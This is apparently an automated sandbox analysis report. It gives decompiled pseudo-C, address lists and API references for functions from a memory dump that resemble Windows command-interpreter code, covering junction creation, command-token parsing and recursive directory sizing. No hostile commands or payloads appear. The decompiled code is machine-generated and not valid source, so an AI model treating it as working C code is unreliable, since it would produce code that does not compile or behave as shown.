Unknown, xrefs: 0089751D
PROMPT, xrefs: 008970AF
%s>, xrefs: 008975FA

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$DriveEnvironmentFreeLocalTypeVariabletowupper
String ID: %s $%s>$PROMPT$Unknown
API String ID: 708651206-3050974680
Opcode ID: 645851cfd414e22b318151c0e4758f0564a8d78989961d0cd6ec485490ce3520
Instruction ID: 47655bc947dd52d8b54b04348290cd029af40be8d64639b1cb38f11de726f05e
Opcode Fuzzy Hash: 645851cfd414e22b318151c0e4758f0564a8d78989961d0cd6ec485490ce3520
Instruction Fuzzy Hash: A9022575A151159BCF64FF28CC096BAB7B5FF44300F18829AE80AE7254EB309E81DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0089B5E0, Relevance: 19.7, APIs: 13, Instructions: 180
filememorynativeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0089B5E0(void* __ecx, void* __eflags) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				void* _v40;
				void* _v48;
				void* _t60;
				void _t64;
				void* _t68;
				signed int _t77;
				void _t80;
				signed short _t81;
				long _t88;
				WCHAR* _t91;
				void* _t97;
				intOrPtr* _t102;
				void* _t104;
				void* _t109;
				void* _t111;
				long _t114;
				void* _t115;
				void* _t116;
				void* _t117;

				_t115 = __ecx;
				_v40 = 0;
				_t114 = 1;
				_v16 = 0;
				_v36 = 0;
				_v24 = 0;
				_t91 = E0089B51A( *((intOrPtr*)(__ecx + 8)));
				_t116 = E0089B51A( *((intOrPtr*)(_t115 + 0xc)));
				if(_t91 == 0 || _t116 == 0) {
					L19:
					if(_v36 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
					}
					if(_t114 != 0 && _v24 != 0) {
						RemoveDirectoryW(_t91);
					}
					return _t114;
				} else {
					if(E0089B9D3(_t91, 0, 1) != 0) {
						if(E0089B91D(_t116) != 0) {
							if(CreateDirectoryW(_t91, 0) == 0) {
								goto L19;
							}
							_v24 = 1;
							_t60 = CreateFileW(_t91, 0x40000000, 1, 0, 3, 0x2000000, 0);
							_v20 = _t60;
							if(_t60 == 0xffffffff) {
								goto L19;
							}
							RtlDosPathNameToNtPathName_U(_t116,  &_v40, 0, 0);
							_t97 = _t116;
							_t10 = _t97 + 2; // 0x2
							_t109 = _t10;
							do {
								_t64 =  *_t97;
								_t97 = _t97 + 2;
							} while (_t64 != _v16);
							_v8 = (_v40 & 0x0000ffff) + (_t97 - _t109 >> 1) * 2 + 0x14;
							_t68 = E008800B0((_v40 & 0x0000ffff) + (_t97 - _t109 >> 1) * 2 + 0x14);
							_v12 = _t68;
							if(_t68 == 0) {
								_t117 = _v20;
								L18:
								CloseHandle(_t117);
								goto L19;
							}
							memset(_t68, 0, _v8);
							_t102 = _v12;
							 *((short*)(_t102 + 4)) = _v8 + 0xfffffff8;
							 *_t102 = 0xa0000003;
							 *((short*)(_t102 + 8)) = 0;
							 *((short*)(_t102 + 0xa)) = _v40;
							memcpy(_t102 + 0x10, _v36, _v40 & 0x0000ffff);
							_t111 = _v12;
							_t77 =  *(_t111 + 0xa) & 0x0000ffff;
							_v32 = _t77;
							_t104 = _t116;
							 *((short*)(_t111 + 0xc)) = _t77 + 2;
							_t31 = _t104 + 2; // 0x2
							_v28 = _t31;
							do {
								_t80 =  *_t104;
								_t104 = _t104 + 2;
							} while (_t80 != _v16);
							_t81 = (_t104 - _v28 >> 1) + (_t104 - _v28 >> 1);
							 *(_t111 + 0xe) = _t81;
							memcpy((_v32 & 0x0000ffff) + _t111 + 0x12, _t116, _t81 & 0x0000ffff);
							_t117 = _v20;
							_t88 = NtFsControlFile(_t117, 0, 0, 0,  &_v48, 0x900a4, _v12, _v8, 0, 0);
							if(_t88 >= 0) {
								_t114 = 0;
							} else {
								SetLastError(RtlNtStatusToDosError(_t88));
							}
							goto L18;
						}
						_push(0x40002749);
						L4:
						SetLastError();
						goto L19;
					}
					_push(0x4000272e);
					goto L4;
				}
			}

0x0089b5ea
0x0089b5f1
0x0089b5f4
0x0089b5f5
0x0089b5fb
0x0089b5fe
0x0089b609
0x0089b610
0x0089b614
0x0089b7a2
0x0089b7a6
0x0089b7b7
0x0089b7b7
0x0089b7bf
0x0089b7c8
0x0089b7c8
0x0089b7d6
0x0089b622
0x0089b62e
0x0089b649
0x0089b65e
0x00000000
0x00000000
0x0089b666
0x0089b679
0x0089b67f
0x0089b685
0x00000000
0x00000000
0x0089b694
0x0089b69a
0x0089b69c
0x0089b69c
0x0089b69f
0x0089b69f
0x0089b6a2
0x0089b6a5
0x0089b6bb
0x0089b6be
0x0089b6c3
0x0089b6c8
0x0089b798
0x0089b79b
0x0089b79c
0x00000000
0x0089b79c
0x0089b6d5
0x0089b6da
0x0089b6e6
0x0089b6ef
0x0089b6f5
0x0089b6fd
0x0089b70a
0x0089b70f
0x0089b715
0x0089b71e
0x0089b721
0x0089b723
0x0089b727
0x0089b72a
0x0089b72d
0x0089b72d
0x0089b730
0x0089b733
0x0089b73e
0x0089b741
0x0089b756
0x0089b75e
0x0089b778
0x0089b780
0x0089b794
0x0089b782
0x0089b78a
0x0089b78a
0x00000000
0x0089b780
0x0089b64b
0x0089b635
0x0089b635
0x00000000
0x0089b635
0x0089b630
0x00000000
0x0089b630

APIs

Part of subcall function 0089B51A: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,?), ref: 0089B533
Part of subcall function 0089B51A: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000008,?,00000000,00000000,?), ref: 0089B54F

Part of subcall function 0089B51A: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,?,?,00000000,00000000,?), ref: 0089B560

SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(40002749,00000001), ref: 0089B635
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000001), ref: 0089B656
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,40000000,00000001,00000000,00000003,02000000,00000000), ref: 0089B679
RtlDosPathNameToNtPathName_U.NTDLL ref: 0089B694
memset.MSVCRT ref: 0089B6D5
memcpy.MSVCRT ref: 0089B70A
memcpy.MSVCRT ref: 0089B756
NtFsControlFile.NTDLL ref: 0089B778
RtlNtStatusToDosError.NTDLL ref: 0089B783
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0089B78A
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 0089B79C
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 0089B7B7
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0089B7C8

Part of subcall function 0089B9D3: memset.MSVCRT ref: 0089BA0F
Part of subcall function 0089B9D3: memset.MSVCRT ref: 0089BA37
Part of subcall function 0089B9D3: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105,-00000105,?,?,?,00000001,00000000,00000000), ref: 0089BAA8
Part of subcall function 0089B9D3: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000001,00000000,00000000), ref: 0089BAC7
Part of subcall function 0089B9D3: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,?,?,00000001,?,?,?,00000001,00000000,00000000), ref: 0089BB0B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememcpy$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType
String ID:
API String ID: 223857506-0
Opcode ID: ec53ebe032b640b42d9fe720627633a563051334875368724cfeb87649997d66
Instruction ID: df104f92c0e25243a5e3c710887abf3d8d6ec4393979ae6195c480190ae77ab2
Opcode Fuzzy Hash: ec53ebe032b640b42d9fe720627633a563051334875368724cfeb87649997d66
Instruction Fuzzy Hash: C4519C71A00205AFDF15AFB8DD45ABEB7B8FF88304F184669E906E7250E7359D01CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0087E040, Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E0087E040(long __ecx, long __edx) {
				signed int _v8;
				int _v20;
				char _v24;
				signed int _v28;
				void _v548;
				signed int _v549;
				long _v556;
				long _v560;
				signed int _v564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t81;
				int _t85;
				void* _t89;
				WCHAR* _t90;
				signed char _t91;
				intOrPtr _t92;
				intOrPtr _t96;
				long _t104;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t110;
				int _t111;
				signed char _t113;
				void* _t114;
				intOrPtr _t116;
				signed int _t117;
				void* _t118;
				wchar_t* _t119;
				wchar_t* _t120;
				signed int _t121;
				signed int _t122;
				signed int _t124;
				signed int _t129;
				long _t130;
				intOrPtr* _t131;
				signed int _t133;
				intOrPtr* _t134;
				long _t136;
				void* _t145;
				signed int _t147;
				signed int _t148;
				signed int _t149;
				long _t150;
				long _t151;
				signed int _t152;
				void* _t153;
				void* _t154;

				_t143 = __edx;
				_t81 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t81 ^ _t152;
				_v560 = __edx;
				_t150 = __ecx;
				_v549 = 0;
				_v556 = __ecx;
				_t122 = _t121 | 0xffffffff;
				_v28 = 0;
				_v24 = 1;
				_v20 = 0x104;
				memset( &_v548, 0, 0x104);
				_t154 = _t153 + 0xc;
				if(_v24 == 0) {
					_t85 = 0x104;
				} else {
					_t85 = 0x7fe7;
				}
				_t124 =  &_v548;
				if(E00880C70(_t124, _t85) < 0) {
					_t147 = 0xfffffffe;
					goto L31;
				} else {
					_t148 = 0;
					while(_t148 < 0x7fe6) {
						_t150 =  *( *((intOrPtr*)(_t150 + 0x38)) + _t148 * 2) & 0x0000ffff;
						_t116 = 0;
						if(_t150 == 0x22) {
							_t117 = _v549;
							_t124 = _t124 & 0xffffff00 | _t117 == 0x00000000;
							_v549 = _t124;
							if(_t117 == 0) {
								_t116 = 0;
							} else {
								_t116 = 1;
							}
							L8:
							if(_t124 != 0 || _t116 != 0) {
								L11:
								if(_t122 != 0xffffffff) {
									L13:
									_t118 = _v28;
									if(_t118 == 0) {
										_t118 =  &_v548;
									}
									 *(_t118 + _t148 * 2) = _t150;
									_t148 = _t148 + 1;
									_t150 = _v556;
									continue;
								}
								_t119 = wcschr(L":.\\", _t150);
								_t154 = _t154 + 8;
								if(_t119 != 0) {
									if( *0x8b3cc9 == 0) {
										break;
									}
									_t122 = _t148;
								}
								goto L13;
							} else {
								_t120 = wcschr(L"=,;+/[] \t\"", _t150);
								_t154 = _t154 + 8;
								if(_t120 != 0) {
									break;
								}
								goto L11;
							}
						}
						if(_t150 == 0) {
							break;
						}
						_t124 = _v549;
						goto L8;
					}
					_v564 = _t148;
					if(_t148 == 0) {
						_t147 = _t148 | 0xffffffff;
						L31:
						__imp__??_V@YAXPAX@Z();
						return E00886FD0(_t147, _t122, _v8 ^ _t152, _t143, _t147, _t150, _v28);
					}
					_t89 = _v28;
					if(_t89 == 0) {
						_t89 =  &_v548;
					}
					 *((short*)(_t89 + _t148 * 2)) = 0;
					if(_t122 != 0xffffffff) {
						_t90 = _v28;
						if(_t90 == 0) {
							_t90 =  &_v548;
						}
						_t91 = GetFileAttributesW(_t90);
						if(_t91 != 0xffffffff) {
							if((_t91 & 0x00000010) == 0) {
								goto L18;
							}
							goto L54;
						} else {
							L54:
							_t114 = _v28;
							_v564 = _t122;
							if(_t114 == 0) {
								_t114 =  &_v548;
							}
							 *((short*)(_t114 + _t122 * 2)) = 0;
							goto L18;
						}
					} else {
						L18:
						_t122 = _v28;
						if(_t122 == 0) {
							_t122 =  &_v548;
						}
						_t149 = 0;
						_t150 = 0x871628;
						do {
							_t24 = _t150 - 8; // 0x8735b0
							_t92 =  *_t24;
							if(_t92 == 0) {
								goto L22;
							}
							__imp___wcsicmp(_t122, _t92);
							_t154 = _t154 + 8;
							if(_t92 == 0) {
								_t113 =  *_t150 & 0x0000ffff;
								if((_t113 & 0x00000004) != 0) {
									if( *0x8b3cc9 != 0) {
										goto L25;
									}
									goto L22;
								}
								L25:
								_t128 = _v560;
								 *_v560 = _t113;
								L26:
								 *0x89d0dc = _t149;
								if(_t149 == 0xffffffff) {
									if(_v28 == 0) {
										_t143 =  &_v548;
									}
									_t129 = 0x2d;
									if(E0087DFC0(0x2d, _t143, _t128) == 0x2d) {
										_t147 = 0x2d;
									} else {
										_v549 = 0;
										_t122 = 0;
										while(1) {
											_t150 =  *( *((intOrPtr*)(_v556 + 0x38)) + _t122 * 2) & 0x0000ffff;
											if(_t150 == 0) {
												break;
											}
											_t109 = 0;
											if(_t150 == 0x22) {
												_t110 = _v549;
												_t129 = _t129 & 0xffffff00 | _t110 == 0x00000000;
												_v549 = _t129;
												if(_t110 == 0) {
													_t109 = 0;
												} else {
													_t109 = 1;
												}
											} else {
												_t129 = _v549;
											}
											if(_t129 == 0) {
												if(_t109 != 0) {
													goto L42;
												}
												_t111 = iswspace(_t150);
												_t154 = _t154 + 4;
												if(_t111 != 0) {
													break;
												}
												_t129 = L"=,;";
												if(E0087D7D4(_t129, _t150) != 0 || _t150 == 0x2f) {
													break;
												} else {
													goto L42;
												}
											} else {
												L42:
												_t122 = _t122 + 1;
												continue;
											}
										}
										_t130 = _v556;
										L28:
										_t131 =  *((intOrPtr*)(_t130 + 0x38));
										_t32 = _t131 + 2; // 0x2
										_t143 = _t32;
										do {
											_t96 =  *_t131;
											_t131 = _t131 + 2;
										} while (_t96 != 0);
										_t133 = _t131 - _t143 >> 1;
										if(_t122 != _t133) {
											_t66 = _t133 + 1; // -1
											_t151 = _t66;
											_t134 =  *((intOrPtr*)(_v556 + 0x3c));
											if(_t134 == 0) {
												L76:
												_t136 = E008800B0(_t151 + _t151);
												_v560 = _t136;
												if(_t136 == 0) {
													E00899287(_t136);
													__imp__longjmp(0x8ab8b8, 1);
												}
												_t122 = _t122 + _t122;
												_t143 = _t151;
												E00881040(_t136, _t151,  *((intOrPtr*)(_v556 + 0x38)) + _t122);
												_t103 =  *((intOrPtr*)(_v556 + 0x3c));
												if( *((intOrPtr*)(_v556 + 0x3c)) == 0) {
													_t150 = _v560;
												} else {
													_t143 = _t151;
													_t150 = _v560;
													E008818C0(_t150, _t151, _t103);
												}
												_t104 = _v556;
												 *(_t104 + 0x3c) = _t150;
												 *((short*)(_t122 +  *((intOrPtr*)(_t104 + 0x38)))) = 0;
												goto L31;
											}
											_t145 = _t134 + 2;
											do {
												_t108 =  *_t134;
												_t134 = _t134 + 2;
											} while (_t108 != 0);
											_t151 = _t151 + (_t134 - _t145 >> 1);
											goto L76;
										}
									}
									goto L31;
								}
								_t130 = _v556;
								_t122 = _v564;
								if(_t149 == 0x14) {
									 *((intOrPtr*)(_t130 + 0x40)) = 1;
								}
								goto L28;
							}
							L22:
							_t150 = _t150 + 0x18;
							_t149 = _t149 + 1;
						} while (_t150 <= 0x871a18);
						_t128 = _v560;
						_t149 = _t149 | 0xffffffff;
						goto L26;
					}
				}
			}

0x0087e040
0x0087e04b
0x0087e052
0x0087e063
0x0087e069
0x0087e06b
0x0087e075
0x0087e07b
0x0087e07e
0x0087e085
0x0087e089
0x0087e090
0x0087e095
0x0087e09c
0x0088bd1d
0x0087e0a2
0x0087e0a2
0x0087e0a2
0x0087e0a8
0x0087e0b5
0x0088bd27
0x00000000
0x0087e0bb
0x0087e0bb
0x0087e0c0
0x0087e0cb
0x0087e0cf
0x0087e0d4
0x0087e212
0x0087e21a
0x0087e21d
0x0087e225
0x0087e310
0x0087e22b
0x0087e22b
0x0087e22b
0x0087e0e5
0x0087e0e7
0x0087e100
0x0087e103
0x0087e11c
0x0087e11c
0x0087e121
0x0088bd31
0x0088bd31
0x0087e127
0x0087e12b
0x0087e12c
0x00000000
0x0087e12c
0x0087e10b
0x0087e111
0x0087e116
0x0087e2d8
0x00000000
0x00000000
0x0087e2de
0x0087e2de
0x00000000
0x0087e0ed
0x0087e0f3
0x0087e0f9
0x0087e0fe
0x00000000
0x00000000
0x00000000
0x0087e0fe
0x0087e0e7
0x0087e0dd
0x00000000
0x00000000
0x0087e0df
0x00000000
0x0087e0df
0x0087e134
0x0087e13c
0x0088bd3c
0x0087e1ea
0x0087e1ed
0x0087e208
0x0087e208
0x0087e142
0x0087e147
0x0088bd44
0x0088bd44
0x0087e14f
0x0087e156
0x0087e2e5
0x0087e2ea
0x0087e328
0x0087e328
0x0087e2ed
0x0087e2f6
0x0087e320
0x00000000
0x00000000
0x00000000
0x0087e2f8
0x0087e2f8
0x0087e2f8
0x0087e2fb
0x0087e303
0x0087e330
0x0087e330
0x0087e307
0x00000000
0x0087e307
0x0087e15c
0x0087e15c
0x0087e15c
0x0087e161
0x0088bd4f
0x0088bd4f
0x0087e167
0x0087e169
0x0087e170
0x0087e170
0x0087e170
0x0087e175
0x00000000
0x00000000
0x0087e179
0x0087e17f
0x0087e184
0x0087e19d
0x0087e1a2
0x0088bd61
0x00000000
0x00000000
0x00000000
0x0088bd67
0x0087e1a8
0x0087e1a8
0x0087e1ae
0x0087e1b1
0x0087e1b1
0x0087e1ba
0x0087e237
0x0088bd6c
0x0088bd6c
0x0087e23e
0x0087e24b
0x0088bd77
0x0087e251
0x0087e251
0x0087e258
0x0087e260
0x0087e269
0x0087e270
0x00000000
0x00000000
0x0087e272
0x0087e277
0x0087e2b8
0x0087e2c0
0x0087e2c3
0x0087e2cb
0x0087e317
0x0087e2cd
0x0087e2cd
0x0087e2cd
0x0087e279
0x0087e279
0x0087e279
0x0087e281
0x0087e288
0x00000000
0x00000000
0x0087e28b
0x0087e291
0x0087e296
0x00000000
0x00000000
0x0087e29a
0x0087e2a6
0x00000000
0x00000000
0x00000000
0x00000000
0x0087e283
0x0087e283
0x0087e283
0x00000000
0x0087e283
0x0087e281
0x0087e2ad
0x0087e1cd
0x0087e1cd
0x0087e1d0
0x0087e1d0
0x0087e1d3
0x0087e1d3
0x0087e1d6
0x0087e1d9
0x0087e1e0
0x0087e1e4
0x0088bd87
0x0088bd87
0x0088bd8a
0x0088bd8f
0x0088bda5
0x0088bdad
0x0088bdaf
0x0088bdb7
0x0088bdb9
0x0088bdc5
0x0088bdc5
0x0088bdd1
0x0088bdd3
0x0088bddb
0x0088bde6
0x0088bdeb
0x0088bdff
0x0088bded
0x0088bded
0x0088bdef
0x0088bdf8
0x0088bdf8
0x0088be05
0x0088be0d
0x0088be13
0x00000000
0x0088be13
0x0088bd91
0x0088bd94
0x0088bd94
0x0088bd97
0x0088bd9a
0x0088bda3
0x00000000
0x0088bda3
0x0087e1e4
0x00000000
0x0087e24b
0x0087e1bc
0x0087e1c2
0x0087e1cb
0x0087e209
0x0087e209
0x00000000
0x0087e1cb
0x0087e186
0x0087e186
0x0087e189
0x0087e18a
0x0087e192
0x0087e198
0x00000000
0x0087e198
0x0087e156

APIs

memset.MSVCRT ref: 0087E090

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

wcschr.MSVCRT ref: 0087E0F3
wcschr.MSVCRT ref: 0087E10B
_wcsicmp.MSVCRT ref: 0087E179
??_V@YAXPAX@Z.MSVCRT ref: 0087E1ED
iswspace.MSVCRT ref: 0087E28B
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,00007FE7,?,?,00000000), ref: 0087E2ED

Strings

:.\, xrefs: 0087E106
=,;+/[] ", xrefs: 0087E0EE
=,;, xrefs: 0087E29A

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memsetwcschr$AttributesFile_wcsicmpiswspace
String ID: :.\$=,;$=,;+/[] "
API String ID: 313872294-843887632
Opcode ID: f38e653c68fb1fa41e27de80d1d72d4e4d887ca76f163264c494269258e476d1
Instruction ID: 8dcb3625338fb6ed80a333adeba322aeab733ed29c7131505235b4121c9988cf
Opcode Fuzzy Hash: f38e653c68fb1fa41e27de80d1d72d4e4d887ca76f163264c494269258e476d1
Instruction Fuzzy Hash: 07A1F430A042189BDF209B68DC85BBA77B5FF49318F5481D9E81EE7296DB30DD85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0087B89C, Relevance: 18.3, APIs: 12, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0087B89C(WCHAR* __ecx, short* __edx, signed int _a4) {
				signed int _v12;
				int _v24;
				char _v28;
				void* _v32;
				void _v552;
				struct _WIN32_FIND_DATAW _v1144;
				int _v1148;
				signed int _v1152;
				void* _v1156;
				char _v1160;
				intOrPtr _v1164;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t71;
				intOrPtr _t74;
				void* _t76;
				intOrPtr _t78;
				intOrPtr _t79;
				signed char _t80;
				short _t83;
				short _t84;
				void* _t86;
				signed int _t87;
				signed int _t88;
				signed int _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t99;
				intOrPtr _t110;
				signed int _t116;
				WCHAR* _t119;
				intOrPtr* _t124;
				WCHAR* _t129;
				signed int _t131;
				intOrPtr* _t134;
				signed int _t135;
				intOrPtr* _t138;
				signed int _t140;
				signed int _t144;
				short* _t146;
				void* _t148;
				short* _t150;
				void* _t151;
				int _t154;
				intOrPtr* _t155;
				void* _t159;
				signed int _t160;
				void* _t161;

				_t145 = __edx;
				_t71 =  *0x89d0b4; // 0x987dc5f4
				_v12 = _t71 ^ _t160;
				_t119 = __ecx;
				_v1152 = _a4;
				_t155 = __ecx;
				_v1148 = 0;
				_t150 =  &(__ecx[1]);
				do {
					_t74 =  *_t155;
					_t155 = _t155 + 2;
				} while (_t74 != 0);
				_t157 = _t155 - _t150 >> 1;
				if((_t155 - _t150 >> 1) + 2 > __edx) {
					L10:
					_t76 = 0;
					L8:
					_pop(_t151);
					return E00886FD0(_t76, _t119, _v12 ^ _t160, _t145, _t151, _t157);
				}
				_t124 = __ecx;
				_t145 =  &(__ecx[1]);
				do {
					_t78 =  *_t124;
					_t124 = _t124 + 2;
				} while (_t78 != 0);
				_t157 = _v1152;
				_t126 = _t124 - _t145 >> 1;
				_t79 = (_t124 - _t145 >> 1) - 2;
				_v1164 = _t79;
				 *_t157 = _t79;
				_t80 = GetFileAttributesW(__ecx);
				if(_t80 == 0xffffffff) {
					_push(0);
					_push(GetLastError());
					E0087C5A2(_t126);
					goto L10;
				}
				if((_t80 & 0x00000010) != 0) {
					_t129 = _t119;
					_t146 =  &(_t129[1]);
					do {
						_t83 =  *_t129;
						_t129 =  &(_t129[1]);
					} while (_t83 != 0);
					_t131 = _t129 - _t146 >> 1;
					_t84 = 0x5c;
					_push(0x2a);
					if( *((intOrPtr*)(_t119 + _t131 * 2 - 2)) != _t84) {
						 *((short*)(_t119 + 4 + _t131 * 2)) = 0;
						_pop(_t145);
					} else {
						_t145 = 0;
						_pop(_t84);
					}
					_t119[_t131] = _t84;
					 *(_t119 + 2 + _t131 * 2) = _t145;
					_t86 = FindFirstFileW(_t119,  &_v1144);
					_v1156 = _t86;
					if(_t86 != 0xffffffff) {
						_t154 = 1;
						do {
							_t131 = ".";
							_t87 =  &(_v1144.cFileName);
							while(1) {
								_t145 =  *_t87;
								if(_t145 !=  *_t131) {
									break;
								}
								if(_t145 == 0) {
									L26:
									_t88 = 0;
									L28:
									if(_t88 == 0) {
										goto L57;
									}
									_t131 = L"..";
									_t96 =  &(_v1144.cFileName);
									while(1) {
										_t145 =  *_t96;
										if(_t145 !=  *_t131) {
											break;
										}
										if(_t145 == 0) {
											L34:
											_t97 = 0;
											L36:
											if(_t97 == 0) {
												goto L57;
											}
											_t134 =  &(_v1144.cFileName);
											_t145 = _t134 + 2;
											do {
												_t98 =  *_t134;
												_t134 = _t134 + 2;
											} while (_t98 != _v1148);
											_t135 = _t134 - _t145;
											_t131 = _t135 >> 1;
											if(_t135 == 0) {
												goto L57;
											}
											if((_v1144.dwFileAttributes & 0x00000010) != 0) {
												_t99 =  *_t157;
												if(_t99 <= _t131) {
													_t99 = _t131;
												}
												 *_t157 = _t99;
												goto L57;
											}
											_v28 = 1;
											_v32 = 0;
											_v24 = 0x104;
											memset( &_v552, 0, 0x104);
											_t161 = _t161 + 0xc;
											if(E00880C70( &_v552, ((0 | _v28 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0) {
												SetLastError(8);
												L60:
												__imp__??_V@YAXPAX@Z(_v32);
												_pop(_t131);
												L61:
												_t157 = GetLastError();
												FindClose(_v1156);
												if(_t154 != 0) {
													goto L10;
												}
												if(_t157 == 0x12) {
													goto L7;
												}
												_push(0);
												goto L64;
											}
											E00880D89(_t145, _t119);
											_t148 = _v32;
											_t138 = _t148;
											if(_t148 == 0) {
												_t138 =  &_v552;
											}
											_t159 = _t138 + 2;
											do {
												_t110 =  *_t138;
												_t138 = _t138 + 2;
											} while (_t110 != _v1148);
											_t140 = _t138 - _t159 >> 1;
											if(_t148 == 0) {
												_t148 =  &_v552;
											}
											 *((short*)(_t148 + _t140 * 2 - 2)) = 0;
											E00880CF2(_t148,  &(_v1144.cFileName));
											_t142 = _v32;
											if(_v32 == 0) {
												_t142 =  &_v552;
											}
											_t145 = _v24;
											if(E0087B89C(_t142, _v24,  &_v1160) == 0) {
												goto L60;
											} else {
												_t157 = _v1152;
												_t144 = _v1164 + _v1160;
												_t116 =  *_t157;
												if(_t116 <= _t144) {
													_t116 = _t144;
												}
												 *_t157 = _t116;
												__imp__??_V@YAXPAX@Z(_v32);
												_pop(_t131);
												goto L57;
											}
										}
										_t145 =  *((intOrPtr*)(_t96 + 2));
										_t33 = _t131 + 2; // 0x2e
										if(_t145 !=  *_t33) {
											break;
										}
										_t96 = _t96 + 4;
										_t131 = _t131 + 4;
										if(_t145 != 0) {
											continue;
										}
										goto L34;
									}
									asm("sbb eax, eax");
									_t97 = _t96 | 0x00000001;
									goto L36;
								}
								_t145 =  *((intOrPtr*)(_t87 + 2));
								_t30 = _t131 + 2; // 0x200000
								if(_t145 !=  *_t30) {
									break;
								}
								_t87 = _t87 + 4;
								_t131 = _t131 + 4;
								if(_t145 != 0) {
									continue;
								}
								goto L26;
							}
							asm("sbb eax, eax");
							_t88 = _t87 | 0x00000001;
							goto L28;
							L57:
							_t154 = FindNextFileW(_v1156,  &_v1144);
						} while (_t154 != 0);
						goto L61;
					} else {
						_t157 = GetLastError();
						FindClose(0xffffffff);
						if(_t157 == 2 || _t157 == 0x12) {
							goto L7;
						} else {
							_push(0);
							L64:
							_push(_t157);
							E0087C5A2(_t131);
							_t76 = 0;
							goto L8;
						}
					}
				}
				L7:
				_t76 = 1;
				goto L8;
			}

0x0087b89c
0x0087b8a7
0x0087b8ae
0x0087b8b5
0x0087b8b7
0x0087b8be
0x0087b8c3
0x0087b8c9
0x0087b8cc
0x0087b8cc
0x0087b8cf
0x0087b8d2
0x0087b8d9
0x0087b8e0
0x00889da8
0x00889da8
0x0087b928
0x0087b92b
0x0087b938
0x0087b938
0x0087b8e6
0x0087b8ea
0x0087b8ed
0x0087b8ed
0x0087b8f0
0x0087b8f3
0x0087b8f8
0x0087b900
0x0087b903
0x0087b906
0x0087b90c
0x0087b90e
0x0087b917
0x00889d99
0x00889da0
0x00889da1
0x00000000
0x00889da7
0x0087b91f
0x00889daf
0x00889db1
0x00889db4
0x00889db4
0x00889db7
0x00889dba
0x00889dc1
0x00889dc5
0x00889dc6
0x00889dcd
0x00889dd6
0x00889ddb
0x00889dcf
0x00889dcf
0x00889dd1
0x00889dd1
0x00889ddc
0x00889de8
0x00889ded
0x00889df3
0x00889dfc
0x00889e28
0x00889e29
0x00889e29
0x00889e2e
0x00889e34
0x00889e34
0x00889e3a
0x00000000
0x00000000
0x00889e3f
0x00889e56
0x00889e56
0x00889e5f
0x00889e61
0x00000000
0x00000000
0x00889e67
0x00889e6c
0x00889e72
0x00889e72
0x00889e78
0x00000000
0x00000000
0x00889e7d
0x00889e94
0x00889e94
0x00889e9d
0x00889e9f
0x00000000
0x00000000
0x00889ea5
0x00889eab
0x00889eae
0x00889eae
0x00889eb1
0x00889eb4
0x00889ebd
0x00889ebf
0x00889ec1
0x00000000
0x00000000
0x00889ece
0x00889fb6
0x00889fba
0x00889fbc
0x00889fbc
0x00889fbe
0x00000000
0x00889fbe
0x00889ed6
0x00889edf
0x00889eea
0x00889eee
0x00889efb
0x00889f14
0x00889fe1
0x00889fe7
0x00889fea
0x00889ff0
0x00889ff1
0x00889ffd
0x00889fff
0x0088a007
0x00000000
0x00000000
0x0088a010
0x00000000
0x00000000
0x0088a018
0x00000000
0x0088a018
0x00889f21
0x00889f26
0x00889f29
0x00889f2d
0x00889f2f
0x00889f2f
0x00889f35
0x00889f38
0x00889f38
0x00889f3b
0x00889f3e
0x00889f49
0x00889f4d
0x00889f4f
0x00889f4f
